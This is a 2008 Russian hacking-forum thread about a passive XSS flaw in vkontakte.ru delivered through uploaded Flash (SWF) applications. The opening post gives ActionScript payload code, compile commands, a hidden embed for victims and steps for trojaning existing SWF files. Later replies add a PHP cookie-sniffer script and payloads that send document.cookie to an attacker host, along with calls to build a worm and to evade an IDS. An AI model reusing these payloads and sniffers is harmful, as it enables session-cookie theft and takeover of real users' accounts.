vkontakte.ru passive xss (swf)

Discussion in 'Уязвимости' started by +toxa+, 25 Mar 2008.

  1. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Качаем mtask
    Создаём файлик hek.as с содержанием
    PHP:
    class hek{
      function 
    hek() {
      }

      static function 
    main(mc) {
        
    getURL("javascript:alert(document.cookie);");
      }
    }
    Далее компилим
    Code:
    mtasc.exe -swf hek.swf -main -header 1:1:1 hek.as
    В настройках делаем доступным сервис "Приложения", обзываем его как-нить и заливаем наш скомпиленный hek.swf +)
    Смотрим созданное "приложение" и выдираем ссылку на swf
    PHP:
    ...
    <
    script type="text/javascript">
    //<![CDATA[
    var so = new SWFObject('evil_swf_on_vk','player',"1","1",'9');
    so.addParam("allowfullscreen","false");
    so.addParam("allownetworking""all");
    ...
    вот собственно и всё) кодес можно любой

    Применение:
    1) Можно вставить в сорц похэканного сайта кодес
    PHP:
    <u style="display:none">
    <
    embed src="evil_swf_on_vk" width="1" height="1" type="application/x-shockwave-flash"></embed>
    </
    u>
    и кинуть ссылку жертве)

    2) Можно протроянить уже существующее swf приложение с помощью swfcombine из пака Swftools
    Анализируем приложение в которое будем вживлять наш злостный кодес с помощью swfdump
    Code:
    swfdump.exe hek.swf
    компилим с нужными параметрами злобнокодес (а именно меняем флаг -header)
    Code:
    mtasc.exe -swf hek.swf -main -header x:y:z hek.as
    x и y - размеры, z - частота кадров в секунду
    и вживляем
    Code:
    swfcombine.exe -o hek_movie.swf -T hek.swf movie.swf
    Демо с алертом

    Ссылки по теме:
    http://tech.motion-twin.com/zip/mtasc-1.12.zip
    http://www.swftools.org/swftools-0.7.0.exe
     
    _________________________
    #1 +toxa+, 25 Mar 2008
    Last edited: 25 Mar 2008
    28 people like this.
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Фига Тох :)
    +5
     
  3. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Авторегер есть, спамилка по id есть, теперь и ксс есть. Хуярьте товарищи червя... ;)
     
  4. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    Или я непохеккер или оно не работает. Алерты все на ура, но при добавлении конструкций типа:
    Code:
    javascript:eval(String.fromCharCode(bla-bla-bla))
    выплёвывает содержимое bla-bla-bla, где bla-bla-bla - енто закодированная хрень:
    Code:
    img=new Image(); img.src="http://гаткей_снеффер.gif?"+document.cookie;
     
    #4 _kREveDKo_, 25 Mar 2008
    Last edited: 25 Mar 2008
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Ха....ништяк, молодец
     
  6. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    sniffer.php
    PHP:
    <?
    $ref $_SERVER['HTTP_REFERER'];
    $infa $_SERVER['REMOTE_ADDR'];
    $infa .= " : ";
    $infa .= $_GET['s'];
    $infa .= "\r\n\r\n";
    $f=fopen("log.txt","a+");
    fputs($f,$infa);
    fclose($f);
    Header("Location: http://www.vkontakte.ru"); //.$ref);
    ?>
    attack.swf
    PHP:
    getURL("javascript:location.href=\"http://yourhost/sniffer.php?s=\"+document.cookie;");
     
    2 people like this.
  7. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
    Может я не фтыкнул чет, но...когда вручную заходишь на демку
    то куки норм, а если через сайт подставной...т.е. кодом, то приходит
    Code:
    __utma=52566834.124252957.1203944691.1203944691.1206562305.2;%20__utmz=52566834.1203944691.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);%20__utmb=52566834;%20__utmc=52566834;%20jcpu=1;%20pcnt=4;%20pcls=1
    
     
  8. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Все очень просто. Если вы делаете embed то получаете куки своего сайта. А если делать iframe то будут куки vkontakte
     
    1 person likes this.
  9. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    гм у меня на опере вызывается
     
  10. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
  11. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    ну значит надо сделать красивую флешку и давать ссылку на нее
     
  12. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
    Так тоже не получиться, потому что заголовок не дает прогрузиться, Тохег объяснил где и как ты её испытывал?
     
  13. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Эм... перепроверьте..
    Фикс или я криворукий?
    ПРи первом переходе на свой свф показываются иероглифы...дальше уже 404
     
  14. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
  15. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    этож п*ц какая идс-ка там наверно стоит )
     
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Имхо в идске есть баги и можно как-то криптануть наш код.......
     
  17. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Спустил в связи с https://forum.antichat.ru/threadedpost718472.html
     
    _________________________
  18. hOd

    hOd New Member

    Joined:
    16 Mar 2008
    Messages:
    6
    Likes Received:
    4
    Reputations:
    0
    не актуально, заметил, что у каждого пользователя своя ссылка на флэшку
     
  19. spyro

    spyro New Member

    Joined:
    19 Apr 2008
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Обьясните пожалуйста как и что компилить, если можно по подробней. :confused: :confused: :confused: